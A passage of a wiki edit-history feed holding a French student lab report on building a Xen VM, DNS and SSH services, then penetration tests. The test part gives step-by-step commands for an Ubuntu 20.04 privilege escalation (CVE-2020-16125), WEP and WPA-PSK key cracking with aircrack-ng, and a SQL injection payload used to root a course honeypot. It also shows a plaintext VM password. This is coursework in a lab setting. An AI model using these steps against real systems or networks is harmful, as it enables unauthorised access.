&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''NOTE 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''NOTE 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
''' SOURCE : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
'''METTRE UNE IMAGE PLUS EXPLICITE'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:27 --ch 9 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP (A FAIRE...)==&lt;br /&gt;
'' Installez le paquetage dsniff sur votre eeePC. Transformez votre eeePC en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1. Insérez votre eeePC entre la machine fixe d’un autre binome et le routeur utilisé par cette machine fixe en utilisant la commande arpspoof. Lancez le sniffeur réseau wireshark sur l’eeePC pendant que l’autre binôme se connecte sur un site web HTTP avec des formulaires HTML. Que constatez-vous ? Essayez aussi de relever les paquets réseau pendant que l’autre binôme utilise un logiciel de conversation instantanée. ''&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Reponse.png&amp;diff=53766</id>
		<title>Fichier:Reponse.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Reponse.png&amp;diff=53766"/>
				<updated>2020-11-16T16:32:23Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=53765</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=53765"/>
				<updated>2020-11-16T16:31:38Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 4.2  Serveur DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
Et ça marche !&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on accède à piedbleu via SSH !&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Après avoir ajouter notre 1er nom de domaine piedbleu.site, nous configurons notre serveur DNS sur notre VM afin d'associer notre nom de domaine à notre adresse IP.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zobe &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''NOTE 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''NOTE 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
